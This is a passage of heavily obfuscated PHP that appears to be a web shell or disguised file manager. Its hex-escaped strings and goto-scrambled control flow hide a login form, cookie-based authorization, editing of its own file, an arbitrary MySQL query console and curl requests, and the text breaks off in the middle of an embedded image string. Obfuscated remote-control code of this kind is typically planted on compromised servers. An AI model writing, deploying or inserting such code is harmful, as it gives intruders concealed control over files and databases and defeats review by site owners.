h3jGc; goto VcUjn; RbFo7: phYFi: goto VRF61; Q0frk: goto KCyLy; goto os8eO; zjTPq: if (!$d19Xm["\141\x75\164\x68\157\162\x69\172\145"]) { goto DpmKz; } goto TBHHg; KJW0q: echo CwqZD("\123\x75\142\155\x69\164"); goto XkE19; dKlx9: echo $fOo6X; goto lTg7R; V4PTm: curl_setopt($I_70P, CURLOPT_REFERER, $Mq012); goto WSjBn; NuKm7: echo strtoupper($zqLqB); goto Y0Su0; oSPYd: echo op3pc("\160\150\160"); goto kJ0Mu; BKuby: $dIxSR .= "\40" . CwQzd("\114\x6f\147\x69\156") . "\72\40" . $_POST["\x66\155\x5f\154\157\x67\x69\156"]["\x6c\x6f\x67\151\156"]; goto ZGHGg; nTS3u: vKSBv: goto gzi_c; d9y2C: ZjQU7: goto hoVV2; nCA1r: $ks4XO = explode("\40", microtime()); goto MrOWf; Rbf0V: unset($_COOKIE[$d19Xm["\143\x6f\157\x6b\x69\145\137\x6e\x61\155\x65"]]); goto hyFTu; DZPtD: foreach ($tsz0y as $BQBbf) { goto lfo0_; lfo0_: $PTCHs = explode("\73", $BQBbf); goto NE9hK; oEtuj: QPPeZ: goto OtDWr; g4DIl: $BnHN0 = $PTCHs; goto cX8ho; NE9hK: $PTCHs = $PTCHs[0]; goto oBI9c; trcb0: k4b9R: goto oEtuj; cX8ho: goto vTddQ; goto trcb0; oBI9c: if (!in_array($PTCHs, $FI79V)) { goto k4b9R; } goto g4DIl; OtDWr: } goto bo5ED; BqQNh: if ($_GET["\x65\144\x69\164"] == basename(__FILE__)) { goto wbc0A; } goto fJnHy; a1_R9: function KncIs($TURxs) { goto jyAS7; P1uxh: $OOg_N->close(); goto WS3dY; vz6eU: $GOV2u[] = $sWxdb; goto lJREi; gJEDX: $SgiDG = empty($GOV2u) ? '' : var_export($GOV2u, true); goto q40_a; lJREi: goto cmL0v; goto HOjpF; WS3dY: return "\x3c\160\x72\x65\76" . stripslashes($SgiDG) . "\x3c\x2f\x70\x72\145\76"; goto dy985; osJaE: return mysqli_error($OOg_N); goto Z0R3L; zSrql: if ($D1C5_ === false) { goto mf3Nv; } goto u99rn; TMpLw: mf3Nv: goto kcZJ4; dy985: goto SH0jj; goto TMpLw; MA_26: $TURxs = trim($TURxs); goto Ca7CC; lP6lc: $OOg_N->set_charset("\165\x74\x66\70"); goto DrCrp; dxMIY: W2trn: goto lP6lc; q40_a: ob_end_clean(); goto P1uxh; kcZJ4: ob_end_clean(); goto osJaE; Z0R3L: SH0jj: goto RFPwV; V0owN: cmL0v: goto rAdrV; aXA1A: $OOg_N = Ww1L4(); goto gB7uh; GKXqn: return $OOg_N->connect_error; goto dxMIY; rAdrV: if (!($sWxdb = mysqli_fetch_assoc($D1C5_))) { goto R7sym; } goto vz6eU; DrCrp: $D1C5_ = mysqli_query($OOg_N, $TURxs); goto zSrql; CBUdh: ob_end_clean(); goto GKXqn; Ca7CC: ob_start(); goto aXA1A; jyAS7: global $s97BH; goto MA_26; gB7uh: if (!$OOg_N->connect_error) { goto W2trn; } goto CBUdh; HOjpF: R7sym: goto C2N3o; u99rn: if (empty($D1C5_)) { goto zfNFd; } goto V0owN; C2N3o: zfNFd: goto gJEDX; RFPwV: } goto S6sEl; vl95z: if (is_file($KoyTP)) { goto sUoOq; } goto C0jEy; O7WfL: goto Gd9b_; goto JrOHS; YD16A: MGQbM: goto gSP8X; l9lm5: echo "\42\x3e\15\xa\40\x20\40\x20\x20\40\x20\x20"; goto NScp3; eiYPS: $O4Dbg = "\x72\165"; goto n9U3t; MgT8G: echo cwqZD("\x53\165\142\x6d\151\x74"); goto mSu2_; APSj3: echo "\x22\x3e\15\12\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\x3c\151\x6e\x70\x75\164\40\x74\x79\x70\x65\x3d\42\x73\x75\x62\155\151\164\x22\40\x6e\x61\155\x65\75\42\143\x61\156\x63\x65\154\42\40\x76\141\154\x75\x65\x3d\42"; goto DVPec; GRtdR: $esQj7 = curl_exec($I_70P); goto ntWAL; dumGA: echo "\x3c\x2f\164\151\x74\x6c\x65\x3e\15\xa\74\x73\164\171\154\145\x3e\15\12\142\157\144\x79\x20\x7b\xd\xa\11\x62\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\55\143\157\x6c\x6f\162\x3a\11\167\150\151\164\145\73\xd\xa\11\x66\x6f\x6e\164\55\146\141\155\151\x6c\x79\72\11\x9\126\145\162\x64\x61\x6e\141\54\x20\x41\162\151\141\154\54\40\110\145\154\x76\145\164\x69\143\141\54\x20\163\141\156\163\55\163\x65\162\x69\146\73\15\xa\11\146\x6f\x6e\x74\x2d\163\151\x7a\145\x3a\x9\x9\11\x38\x70\164\73\xd\xa\11\x6d\x61\x72\147\151\156\x3a\11\x9\11\11\x30\x70\170\x3b\xd\12\175\xd\xa\xd\12\x61\72\154\x69\156\x6b\54\40\141\x3a\x61\x63\164\x69\x76\x65\x2c\40\x61\72\x76\151\x73\x69\164\145\x64\40\173\x20\143\x6f\154\x6f\x72\72\x20\43\x30\60\66\66\x39\x39\73\x20\164\145\170\x74\x2d\x64\145\143\157\162\x61\x74\151\x6f\x6e\72\x20\156\157\156\x65\x3b\40\x7d\15\12\x61\x3a\x68\x6f\x76\x65\x72\x20\173\x20\143\x6f\x6c\157\162\72\40\43\x44\104\x36\71\60\60\x3b\40\164\145\170\164\55\144\145\143\x6f\x72\x61\x74\151\157\156\72\x20\x75\x6e\144\x65\162\x6c\151\156\145\x3b\40\175\15\12\x61\56\x74\x68\72\x6c\x69\156\153\x20\173\x20\x63\157\154\157\162\72\x20\43\106\x46\101\63\64\x46\x3b\x20\x74\145\x78\164\x2d\x64\145\x63\157\162\141\x74\151\157\x6e\72\x20\156\x6f\156\145\x3b\40\x7d\xd\xa\141\56\x74\150\x3a\141\x63\x74\151\166\145\40\x7b\x20\143\x6f\x6c\157\162\x3a\x20\x23\106\x46\x41\63\64\x46\73\40\x74\x65\170\164\55\x64\145\x63\x6f\162\x61\164\151\x6f\x6e\x3a\40\156\x6f\156\145\x3b\40\175\15\xa\x61\x2e\164\x68\72\166\151\163\x69\164\x65\x64\40\x7b\x20\x63\x6f\154\x6f\162\x3a\x20\x23\x46\106\x41\x33\64\106\73\40\164\145\x78\x74\x2d\144\145\x63\x6f\162\x61\164\x69\157\x6e\x3a\x20\x6e\157\x6e\145\73\x20\175\15\12\141\56\164\150\x3a\150\x6f\x76\x65\162\x20\173\40\40\143\x6f\154\x6f\162\72\40\43\106\x46\x41\63\64\106\73\x20\164\x65\x78\164\55\144\145\143\157\162\x61\x74\x69\x6f\156\72\x20\x75\x6e\x64\x65\x72\x6c\x69\156\145\73\40\175\xd\xa\15\12\x74\141\142\154\x65\x2e\142\147\x20\x7b\xd\xa\11\x62\141\143\153\147\162\157\165\x6e\144\55\x63\x6f\154\x6f\x72\x3a\40\x23\x41\103\102\102\103\66\15\12\175\15\12\15\12\164\x68\54\x20\164\144\x20\173\40\xd\xa\11\x66\x6f\156\x74\x3a\x9\x6e\157\162\x6d\x61\x6c\40\x38\160\x74\x20\126\x65\x72\x64\141\x6e\x61\x2c\x20\101\x72\x69\x61\x6c\54\40\110\x65\154\x76\145\x74\x69\143\141\54\40\x73\x61\x6e\x73\x2d\163\x65\162\x69\x66\x3b\xd\12\x9\160\141\x64\x64\x69\156\x67\x3a\40\63\x70\x78\73\15\xa\x7d\xd\xa\xd\xa\x74\150\11\173\xd\xa\x9\x68\x65\151\x67\x68\x74\x3a\11\x9\11\x9\x32\65\160\x78\73\xd\12\x9\x62\x61\143\153\147\x72\x6f\x75\156\144\x2d\143\x6f\154\157\162\72\x9\x23\x30\60\66\66\71\x39\x3b\xd\xa\11\x63\157\x6c\157\162\72\x9\11\11\11\x23\106\106\x41\x33\64\x46\x3b\15\12\x9\x66\x6f\x6e\x74\x2d\167\x65\x69\x67\x68\164\x3a\x9\11\x62\157\x6c\144\x3b\15\xa\x9\146\157\x6e\x74\55\163\151\x7a\145\x3a\11\x9\11\61\x31\x70\x78\x3b\15\xa\175\xd\xa\xd\xa\56\x72\x6f\167\61\40\173\xd\12\x9\142\x61\143\153\147\x72\x6f\x75\x6e\x64\x2d\x63\157\154\157\x72\72\11\43\105\106\x45\x46\105\106\73\xd\12\175\15\xa\15\xa\56\162\x6f\167\x32\x20\x7b\15\xa\x9\x62\x61\x63\x6b\x67\162\x6f\x75\156\144\x2d\143\x6f\154\x6f\162\72\11\x23\x44\105\x45\x33\x45\67\73\15\12\175\xd\12\xd\12\56\x72\157\167\63\x20\x7b\xd\xa\x9\142\x61\x63\153\147\162\157\165\x6e\x64\x2d\x63\157\x6c\x6f\162\x3a\x9\43\104\61\x44\x37\104\x43\x3b\xd\12\11\x70\141\144\x64\x69\x6e\147\72\40\65\x70\x78\73\xd\12\175\xd\xa\15\xa\x74\162\56\x72\157\167\x31\72\150\x6f\166\145\x72\x20\x7b\15\xa\x9\x62\x61\143\x6b\x67\162\157\x75\156\x64\x2d\143\x6f\154\157\x72\x3a\11\x23\106\63\x46\103\x46\x43\x3b\xd\xa\175\15\12\15\xa\x74\162\x2e\162\157\167\x32\72\150\157\166\x65\162\40\x7b\xd\xa\x9\x62\x61\143\x6b\x67\x72\x6f\x75\156\144\x2d\143\157\x6c\x6f\162\72\x9\43\106\60\106\66\106\x36\x3b\15\xa\x7d\15\xa\xd\xa\x2e\167\x68\x6f\x6c\x65\40\173\xd\xa\x9\167\151\144\x74\x68\x3a\x20\x31\60\60\x25\73\15\xa\175\15\xa\15\12\56\141\x6c\x6c\x20\x74\142\x6f\144\171\x20\x74\x64\72\x66\x69\x72\163\x74\55\143\x68\151\x6c\144\173\167\151\x64\164\x68\72\x31\60\x30\45\x3b\x7d\15\xa\15\12\164\145\x78\x74\x61\162\x65\141\x20\x7b\15\12\x9\x66\x6f\x6e\x74\x3a\x20\71\x70\164\x20\47\103\157\165\162\151\x65\x72\x20\116\145\x77\x27\x2c\40\143\x6f\165\162\151\145\x72\73\xd\xa\x9\x6c\x69\156\145\55\x68\145\x69\x67\x68\164\x3a\40\61\62\x35\x25\73\15\xa\11\x70\141\x64\144\151\156\x67\x3a\40\65\x70\x78\73\xd\xa\x7d\xd\12\xd\12\x2e\x74\145\170\x74\x61\x72\145\141\x5f\151\156\x70\165\164\x20\173\xd\12\x9\150\x65\x69\147\x68\x74\x3a\x20\61\x65\x6d\73\15\xa\x7d\xd\xa\15\12\x2e\x74\145\x78\164\x61\x72\x65\x61\137\151\x6e\x70\x75\164\x3a\x66\157\143\x75\163\40\173\xd\xa\11\x68\145\x69\147\150\164\72\40\x61\165\x74\157\73\xd\xa\x7d\15\12\xd\12\x69\156\x70\165\x74\133\x74\171\160\145\x3d\x73\x75\x62\155\x69\164\135\173\15\xa\11\x62\x61\143\153\147\x72\x6f\x75\156\144\72\x20\43\106\103\x46\x43\106\x43\40\x6e\157\x6e\145\x20\41\151\155\160\157\162\x74\141\156\x74\x3b\15\12\x9\x63\x75\162\x73\x6f\x72\x3a\40\x70\x6f\x69\156\164\145\162\73\15\12\x7d\xd\12\xd\12\56\146\x6f\x6c\x64\145\x72\40\x7b\15\xa\x20\x20\40\40\x62\141\x63\x6b\147\x72\157\x75\156\x64\55\151\x6d\141\x67\x65\x3a\40\165\x72\x6c\50\x22\x64\x61\x74\x61\72\x69\155\x61\x67\145\57\x70\x6e\147\x3b\142\x61\163\145\x36\64\x2c\x69\126\102\x4f\122\x77\x30\113\x47\x67\157\101\x41\101\101\116\123\125\150\105\x55\x67\x41\101\x41\x42\x41\x41\101\101\x41\121\103\101\131\101\101\x41\101\146\x38\x2f\71\150\101\x41\x41\113\124\62\x6c\x44\x51\61\102\x51\141\x47\x39\60\142\x33\x4e\x6f\x62\x33\101\x67\123\125\x4e\104\x49\110\x42\171\x62\62\x5a\x70\x62\107\125\x41\101\x48\152\141\x6e\x56\x4e\x6e\126\x46\120\x70\x46\x6a\x33\63\x33\x76\x52\103\x53\64\x69\101\154\105\164\166\x55\150\x55\111\111\106\x4a\x43\151\x34\x41\125\153\123\x59\161\111\x51\x6b\x51\x53\x6f\147\150\x6f\144\x6b\126\125\x63\x45\122\x52\125\x55\105\107\x38\151\x67\x69\x41\117\117\152\157\x43\x4d\106\126\x45\x73\104\111\x6f\113\x32\101\x66\x6b\x49\x61\x4b\117\x67\x36\x4f\x49\151\163\162\67\64\x58\x75\152\x61\x39\x61\70\71\x2b\142\116\57\x72\130\x58\120\x75\x65\163\x38\x35\62\172\172\x77\146\x41\x43\x41\x79\x57\123\104\116\x52\x4e\131\x41\x4d\161\x55\111\x65\105\x65\x43\104\170\70\x54\107\x34\145\x51\x75\x51\111\x45\113\x4a\110\x41\101\105\101\x69\x7a\132\x43\x46\172\x2f\x53\115\x42\x41\120\x68\x2b\x50\x44\167\x72\111\163\101\x48\x76\x67\101\x42\145\x4e\115\x4c\x43\101\x44\x41\124\132\x76\x41\115\x42\171\110\x2f\x77\57\x71\x51\160\x6c\143\101\x59\x43\105\x41\143\x42\x30\153\x54\150\114\x43\111\101\125\x41\105\x42\66\x6a\153\113\155\x41\105\102\x47\x41\x59\x43\144\155\x43\x5a\124\101\113\101\x45\x41\107\104\114\x59\x32\114\152\x41\106\101\164\x41\x47\x41\x6e\146\53\x62\124\x41\x49\x43\144\x2b\x4a\x6c\67\x41\121\102\142\154\103\x45\x56\x41\141\x43\122\101\x43\101\x54\132\x59\150\105\x41\107\x67\67\x41\113\x7a\x50\x56\157\160\x46\101\x46\x67\x77\101\102\x52\155\123\70\121\65\x41\116\147\x74\x41\x44\102\x4a\x56\x32\132\111\101\114\x43\63\101\x4d\104\x4f\x45\x41\165\171\101\x41\x67\115\101\x44\x42\122\151\111\125\x70\101\101\122\x37\x41\x47\104\111\x49\171\x4e\64\101\111\123\132\101\102\122\x47\70\x6c\x63\x38\70\123\x75\165\x45\117\143\x71\x41\101\102\64\155\142\111\70\165\x53\x51\x35\122\131\x46\142\103\x43\61\x78\102\61\x64\x58\114\x68\x34\157\x7a\x6b\x6b\130\113\170\x51\x32\x59\x51\112\x68\155\x6b\x41\165\167\156\x6d\x5a\107\124\x4b\x42\116\x41\x2f\x67\x38\70\167\101\101\113\103\x52\106\x52\x48\147\147\57\120\x39\x65\x4d\64\x4f\162\x73\x37\117\116\157\x36\62\104\x6c\70\164\x36\x72\x38\x47\x2f\171\112\x69\131\165\x50\53\65\143\53\162\143\x45\101\101\x41\x4f\x46\x30\x66\x74\110\53\114\103\53\172\107\157\101\x37\102\x6f\102\164\x2f\x71\111\x6c\67\x67\x52\x6f\x58\147\165\x67\x64\x66\145\114\x5a\x72\x49\120\121\114\x55\101\x6f\x4f\x6e\141\x56\57\116\167\x2b\x48\64\70\120\105\x57\150\x6b\x4c\156\x5a\62\145\130\153\x35\116\x68\x4b\170\x45\x4a\142\x59\143\160\x58\x66\146\65\x6e\x77\x6c\57\101\126\x2f\61\163\x2b\130\x34\70\x2f\120\146\x31\64\x4c\67\x69\112\x49\105\x79\130\131\x46\110\102\120\152\x67\167\163\172\x30\x54\113\x55\x63\172\65\x49\112\150\x47\x4c\x63\65\157\71\110\x2f\114\143\114\x2f\x2f\x77\x64\x30\171\x4c\105\123\127\113\65\127\x43\x6f\125\x34\61\105\x53\143\x59\x35\x45\155\157\172\x7a\x4d\161\125\151\x69\x55\113\123\113\143\x55\x6c\60\x76\71\153\x34\x74\70\x73\53\x77\x4d\x2b\63\x7a\x55\x41\x73\107\x6f\x2b\101\130\165\122\x4c\x61\150\144\131\167\120\62\x53\171\143\121\127\x48\x54\x41\x34\166\x63\101\x41\120\x4b\67\142\x38\110\x55\x4b\x41\x67\104\x67\x47\x69\104\64\143\x39\63\57\x2b\70\x2f\x2f\125\x65\147\x4a\x51\103\x41\132\x6b\155\123\143\121\x41\101\130\x6b\121\153\114\x6c\x54\x4b\163\x7a\x2f\110\103\x41\x41\101\122\x4b\103\102\x4b\x72\102\102\107\57\x54\102\107\103\172\101\102\150\x7a\x42\x42\x64\x7a\x42\103\57\170\147\116\x6f\122\x43\112\x4d\124\x43\121\x68\102\103\103\x6d\123\x41\x48\110\x4a\147\113\141\171\x43\x51\151\x69\x47\x7a\142\101\144\113\155\101\166\x31\x45\101\x64\116\115\x42\122\141\x49\141\x54\143\x41\64\165\x77\154\x57\64\x44\152\x31\x77\x44\57\x70\150\x43\x4a\x37\102\x4b\114\x79\102\x43\121\122\x42\171\x41\147\124\131\x53\110\141\151\x41\106\x69\x69\x6c\x67\152\152\x67\x67\x58\155\131\x58\64\x49\x63\106\x49\102\x42\x4b\x4c\x4a\103\x44\112\151\102\x52\122\x49\153\165\122\x4e\125\147\x78\x55\x6f\x70\x55\x49\x46\x56\x49\x48\x66\x49\71\143\x67\111\x35\x68\61\170\x47\165\160\105\67\171\101\x41\171\x67\166\x79\107\x76\105\x63\170\154\x49\x47\171\x55\124\63\125\x44\x4c\x56\x44\x75\x61\147\63\x47\x6f\122\x47\x6f\x67\x76\121\x5a\110\x51\170\155\157\70\x57\157\x4a\166\121\x63\x72\121\141\x50\x59\167\62\157\x65\x66\121\x71\x32\147\120\x32\157\x38\x2b\121\x38\x63\167\167\x4f\147\131\102\x7a\x50\105\142\x44\101\x75\170\163\116\103\x73\124\x67\163\x43\x5a\x4e\x6a\x79\67\x45\x69\162\101\x79\x72\x78\x68\x71\167\x56\161\x77\x44\165\x34\156\x31\131\70\x2b\x78\x64\167\x51\x53\147\125\130\101\x43\x54\x59\105\144\x30\111\x67\131\122\65\102\x53\106\150\115\127\x45\67\131\123\113\x67\147\x48\x43\x51\60\x45\x64\x6f\x4a\x4e\167\x6b\104\150\106\110\x43\x4a\171\113\124\161\x45\165\x30\112\162\x6f\122\x2b\143\x51\x59\131\152\x49\x78\150\x31\150\x49\x4c\103\120\127\105\x6f\x38\124\x4c\170\102\x37\151\x45\x50\105\116\x79\121\123\151\125\115\x79\x4a\67\155\x51\x41\153\x6d\170\x70\106\124\x53\105\164\x4a\x47\x30\155\65\123\x49\x2b\153\x73\161\x5a\163\x30\x53\102\x6f\152\153\70\x6e\141\132\x47\x75\x79\102\172\x6d\x55\114\103\101\x72\x79\111\130\153\x6e\145\x54\x44\65\x44\120\153\x47\53\121\150\70\x6c\x73\x4b\156\127\x4a\x41\143\141\x54\x34\x55\53\111\x6f\125\163\160\161\123\x68\x6e\154\105\117\x55\60\65\x51\132\154\x6d\x44\112\102\126\141\x4f\x61\x55\164\x32\x6f\x6f\x56\121\x52\116\x59\71\141\121\x71\x32\x68\164\154\x4b\x76\x55\131\145\157\105\x7a\x52\x31\155\x6a\156\116\x67\x78\132\x4a\x53\x36\x57\x74\x6f\x70\x58\124\x47\x6d\147\130\x61\x50\x64\160\x72\x2b\150\x30\165\150\110\x64\154\122\65\117\154\71\102\x58\x30\163\x76\x70\x52\53\151\x58\x36\x41\120\x30\144\167\x77\116\x68\150\x57\x44\x78\64\x68\x6e\113\102\155\x62\107\101\x63\131\x5a\170\154\x33\x47\x4b\53\x59\x54\x4b\x59\132\60\64\163\x5a\170\x31\x51\167\116\172\x48\162\155\117\x65\132\x44\x35\x6c\x76\126\126\147\x71\x74\151\x70\x38\106\x5a\x48\113\x43\x70\x56\113\154\x53\141\126\x47\171\157\x76\x56\x4b\x6d\x71\160\161\162\x65\x71\x67\x74\126\x38\61\130\114\x56\x49\53\160\x58\154\x4e\71\x72\153\x5a\126\115\61\x50\152\x71\121\156\x55\x6c\x71\x74\126\x71\160\61\121\66\61\x4d\x62\125\x32\x65\x70\x4f\x36\151\x48\161\155\x65\x6f\x62\x31\x51\57\x70\x48\x35\x5a\57\131\153\107\127\x63\x4e\115\x77\x30\71\x44\x70\106\107\x67\163\x56\x2f\152\x76\115\x59\x67\103\62\x4d\x5a\x73\63\147\163\x49\127\163\x4e\x71\x34\132\61\147\x54\x58\105\112\162\x48\x4e\62\x58\x78\x32\113\162\165\131\57\x52\x32\x37\x69\x7a\62\x71\161\141\105\x35\x51\x7a\116\113\x4d\61\x65\x7a\x55\x76\x4f\x55\132\152\x38\x48\64\x35\x68\x78\53\x4a\x78\60\124\x67\156\x6e\113\x4b\145\130\x38\63\66\x4b\x33\x68\x54\166\x4b\x65\x49\x70\x47\66\x59\60\124\114\x6b\170\x5a\x56\x78\162\161\160\x61\x58\x6c\154\151\x72\x53\113\x74\x52\161\60\x66\162\x76\x54\x61\x75\67\141\x65\x64\160\x72\x31\106\165\x31\x6e\x37\x67\x51\x35\x42\x78\60\157\156\x58\x43\x64\x48\x5a\x34\57\117\x42\132\x33\156\x55\x39\x6c\x54\63\x61\x63\x4b\160\170\132\116\x50\x54\162\x31\x72\151\66\x71\x61\x36\125\142\x6f\x62\x74\105\144\x37\x39\165\160\x2b\x36\x59\156\x72\65\145\x67\112\x35\115\x62\66\146\x65\145\x62\x33\x6e\x2b\x68\170\71\x4c\x2f\x31\125\x2f\x57\x33\66\160\x2f\126\110\x44\x46\147\x47\x73\167\x77\153\102\164\x73\x4d\x7a\150\x67\x38\170\x54\126\170\142\172\x77\x64\x4c\70\146\142\70\x56\x46\x44\130\143\116\101\x51\x36\126\150\154\127\107\x58\64\x59\x53\122\165\144\105\x38\157\71\126\x47\152\x55\131\120\152\x47\156\x47\130\117\115\x6b\64\x32\63\x47\142\143\141\x6a\x4a\147\131\155\111\x53\x5a\114\x54\x65\160\116\x37\x70\160\123\124\x62\155\155\113\141\131\x37\x54\x44\x74\115\x78\x38\x33\115\x7a\x61\114\116\61\160\x6b\61\155\x7a\60\170\61\172\x4c\156\x6d\x2b\x65\x62\x31\x35\x76\146\164\62\102\x61\x65\106\x6f\x73\x74\161\151\x32\x75\107\126\x4a\x73\165\x52\x61\x70\x6c\x6e\x75\x74\x72\170\x75\150\x56\x6f\65\x57\141\126\x59\126\x56\x70\x64\163\60\141\164\156\141\60\154\x31\x72\165\164\165\66\143\x52\160\x37\x6c\117\153\x30\x36\162\x6e\x74\132\156\x77\x37\x44\x78\x74\x73\x6d\x32\161\142\x63\132\x73\117\130\x59\x42\x74\165\x75\164\155\62\62\x66\127\106\x6e\131\x68\144\x6e\x74\70\x57\x75\167\53\x36\124\166\x5a\116\x39\x75\x6e\x32\116\57\x54\60\x48\104\x59\146\x5a\x44\161\x73\144\127\150\x31\53\143\67\122\171\106\x44\160\x57\x4f\x74\x36\141\x7a\x70\172\x75\120\63\63\x46\71\112\x62\x70\x4c\62\x64\131\172\x78\104\x50\62\x44\120\x6a\164\150\x50\x4c\x4b\x63\x52\x70\x6e\x56\117\142\60\60\x64\156\x46\62\145\x35\143\x34\x50\172\151\x49\165\112\123\64\114\x4c\114\x70\143\x2b\x4c\x70\163\x62\x78\164\63\111\x76\x65\122\113\x64\120\126\170\x58\x65\x46\66\x30\x76\x57\144\x6d\x37\117\142\x77\165\x32\x6f\x32\66\57\165\x4e\165\x35\160\x37\157\x66\143\156\70\x77\60\156\171\155\145\x57\124\116\x7a\x30\x4d\120\x49\121\53\x42\122\65\144\x45\x2f\x43\65\53\x56\x4d\107\166\x66\x72\x48\65\120\x51\x30\x2b\x42\132\67\130\x6e\111\171\71\x6a\114\x35\x46\x58\162\144\x65\167\164\66\x56\x33\x71\x76\144\150\67\x78\143\x2b\x39\x6a\x35\171\156\x2b\115\53\x34\172\167\x33\x33\x6a\x4c\x65\x57\126\x2f\115\116\70\x43\63\x79\x4c\x66\x4c\124\70\116\166\156\x6c\x2b\x46\x33\x30\116\57\111\57\x39\153\x2f\63\162\x2f\60\x51\103\156\147\x43\125\x42\132\167\x4f\112\x67\x55\107\102\127\x77\114\x37\53\110\160\x38\111\x62\x2b\x4f\120\x7a\x72\142\x5a\x66\x61\x79\x32\x65\61\102\x6a\113\103\65\x51\x52\126\x42\152\x34\113\x74\147\165\130\x42\x72\123\106\157\x79\117\171\x51\x72\x53\110\63\65\x35\x6a\117\x6b\x63\x35\x70\x44\157\x56\x51\146\165\152\x57\x30\101\144\150\x35\155\x47\114\x77\x33\x34\x4d\112\64\127\x48\150\126\145\x47\120\64\65\167\x69\106\x67\x61\60\124\x47\x58\x4e\130\x66\x52\x33\105\116\x7a\x33\x30\x54\66\122\x4a\x5a\105\63\x70\x74\156\115\x55\x38\65\x72\171\61\113\116\123\157\x2b\161\151\x35\x71\120\x4e\x6f\x33\165\152\123\66\120\70\x59\x75\132\x6c\x6e\115\61\126\x69\144\127\x45\154\163\123\x78\x77\x35\x4c\151\x71\165\x4e\155\65\x73\166\164\x2f\x38\x37\x66\117\x48\64\x70\x33\x69\103\53\116\67\106\x35\x67\x76\171\106\x31\x77\x65\x61\110\117\167\166\123\106\160\x78\x61\x70\114\150\111\163\117\160\132\101\x54\111\x68\117\x4f\112\x54\x77\x51\x52\x41\x71\161\x42\141\x4d\x4a\146\x49\x54\144\171\x57\x4f\103\156\x6e\x43\110\143\112\156\x49\151\x2f\x52\116\x74\107\x49\x32\105\x4e\x63\113\150\65\x4f\70\x6b\147\x71\x54\x58\x71\x53\67\112\107\x38\x4e\130\x6b\x6b\x78\x54\117\154\114\x4f\x57\65\150\x43\145\x70\x6b\x4c\170\x4d\x44\x55\172\x64\155\172\161\x65\106\x70\160\x32\111\107\x30\x79\x50\124\161\x39\115\131\117\x53\x6b\132\x42\170\x51\x71\x6f\150\124\x5a\117\62\x5a\53\x70\156\65\155\132\x32\x79\66\170\x6c\x68\142\x4c\53\x78\127\66\x4c\x74\171\x38\x65\x6c\121\x66\x4a\141\67\117\121\x72\101\x56\132\x4c\121\x71\62\121\x71\x62\157\x56\106\157\157\x31\171\x6f\x48\163\155\x64\x6c\126\x32\141\57\x7a\131\156\x4b\x4f\132\x61\162\x6e\151\166\116\67\x63\x79\172\171\x74\x75\x51\116\65\172\x76\156\x2f\57\x74\x45\163\111\x53\x34\132\x4b\x32\x70\x59\x5a\114\126\x79\60\x64\127\x4f\x61\x39\162\x47\157\65\x73\x6a\x78\x78\x65\x64\x73\x4b\64\170\x55\106\x4b\x34\132\127\102\161\x77\x38\165\111\x71\62\x4b\x6d\x33\126\124\66\x76\164\126\x35\x65\165\146\x72\x30\155\145\x6b\x31\162\x67\126\x37\x42\x79\x6f\x4c\102\164\x51\106\x72\66\167\164\x56\x43\x75\127\106\146\x65\x76\x63\x31\53\61\x64\x54\x31\147\x76\x57\144\x2b\61\x59\146\x71\x47\x6e\122\x73\x2b\106\x59\155\113\162\150\x54\x62\106\65\143\x56\x66\x39\147\157\x33\x48\152\154\x47\x34\x64\x76\x79\162\x2b\x5a\63\112\123\60\161\x61\166\x45\x75\127\124\x50\132\x74\x4a\155\x36\145\x62\x65\114\x5a\x35\x62\x44\x70\141\x71\154\53\x61\130\x44\x6d\x34\x4e\62\144\x71\60\104\x64\71\127\164\117\63\x31\x39\153\130\142\114\65\x66\116\x4b\116\165\67\x67\x37\x5a\104\x75\141\x4f\x2f\120\x4c\151\x38\132\x61\146\x4a\x7a\x73\x30\x37\120\61\x53\153\126\120\122\125\x2b\154\121\x32\67\x74\114\144\x74\x57\x48\130\53\107\x37\x52\x37\150\x74\67\166\x50\131\x30\67\116\x58\x62\x57\x37\x7a\x33\57\124\67\x4a\x76\x74\x74\126\101\x56\x56\116\61\127\x62\x56\132\146\164\x4a\53\67\120\x33\120\66\66\x4a\161\165\156\64\x6c\166\164\x74\x58\x61\61\117\x62\x58\x48\x74\x78\167\120\x53\x41\x2f\x30\x48\x49\x77\66\x32\x31\67\156\125\61\x52\63\123\x50\x56\122\123\x6a\71\131\162\66\60\143\117\170\170\53\x2b\x2f\x70\63\166\144\171\x30\x4e\116\147\x31\126\152\x5a\x7a\107\64\x69\x4e\x77\x52\x48\x6e\x6b\66\x66\143\x4a\63\x2f\x63\145\x44\124\162\x61\144\157\170\67\x72\x4f\105\x48\60\x78\x39\62\110\127\x63\x64\x4c\62\x70\x43\x6d\166\113\141\122\x70\x74\124\155\x76\164\142\x59\154\165\x36\x54\x38\167\x2b\60\x64\142\161\x33\x6e\162\x38\122\x39\163\146\x44\65\x77\60\x50\x46\x6c\x35\123\x76\116\x55\x79\127\156\141\66\x59\x4c\x54\153\x32\x66\x79\172\64\171\144\x6c\132\61\x39\x66\151\x37\x35\x33\x47\x44\x62\157\x72\132\x37\65\62\x50\117\x33\x32\157\x50\x62\53\x2b\66\105\x48\124\x68\60\153\x58\57\x69\53\x63\67\166\104\166\x4f\130\x50\x4b\x34\144\x50\x4b\171\62\53\125\124\126\x37\x68\130\155\x71\70\66\x58\x32\63\x71\x64\x4f\x6f\x38\57\160\120\x54\x54\x38\x65\67\x6e\114\165\141\162\162\154\143\141\67\156\x75\145\x72\62\x31\145\62\142\63\x36\122\165\145\116\70\67\144\x39\114\x31\65\x38\x52\142\57\x31\164\x57\x65\117\x54\x33\x64\x76\x66\116\x36\142\57\x66\x46\71\x2f\x58\146\106\x74\x31\x2b\x63\x69\x66\71\x7a\x73\x75\67\x32\130\143\x6e\67\161\x32\70\x54\x37\x78\x66\x39\x45\x44\164\x51\144\x6c\104\x33\131\x66\x56\x50\x31\166\x2b\x33\116\x6a\x76\63\x48\71\x71\x77\110\145\x67\x38\71\110\x63\x52\57\x63\x47\x68\131\x50\x50\x2f\160\x48\x31\x6a\x77\x39\104\102\x59\x2b\x5a\x6a\x38\165\x47\104\131\x62\162\x6e\152\147\53\x4f\x54\156\151\x50\x33\x4c\71\66\x66\x79\x6e\121\70\x39\x6b\172\171\141\x65\x46\57\x36\151\x2f\x73\x75\165\x46\170\131\x76\x66\166\152\126\x36\71\146\117\x30\132\x6a\122\157\x5a\x66\x79\154\65\117\x2f\142\130\171\x6c\x2f\x65\x72\101\66\x78\155\166\x32\70\x62\x43\x78\x68\x36\x2b\x79\x58\147\172\x4d\126\x37\x30\x56\166\166\164\x77\x58\146\143\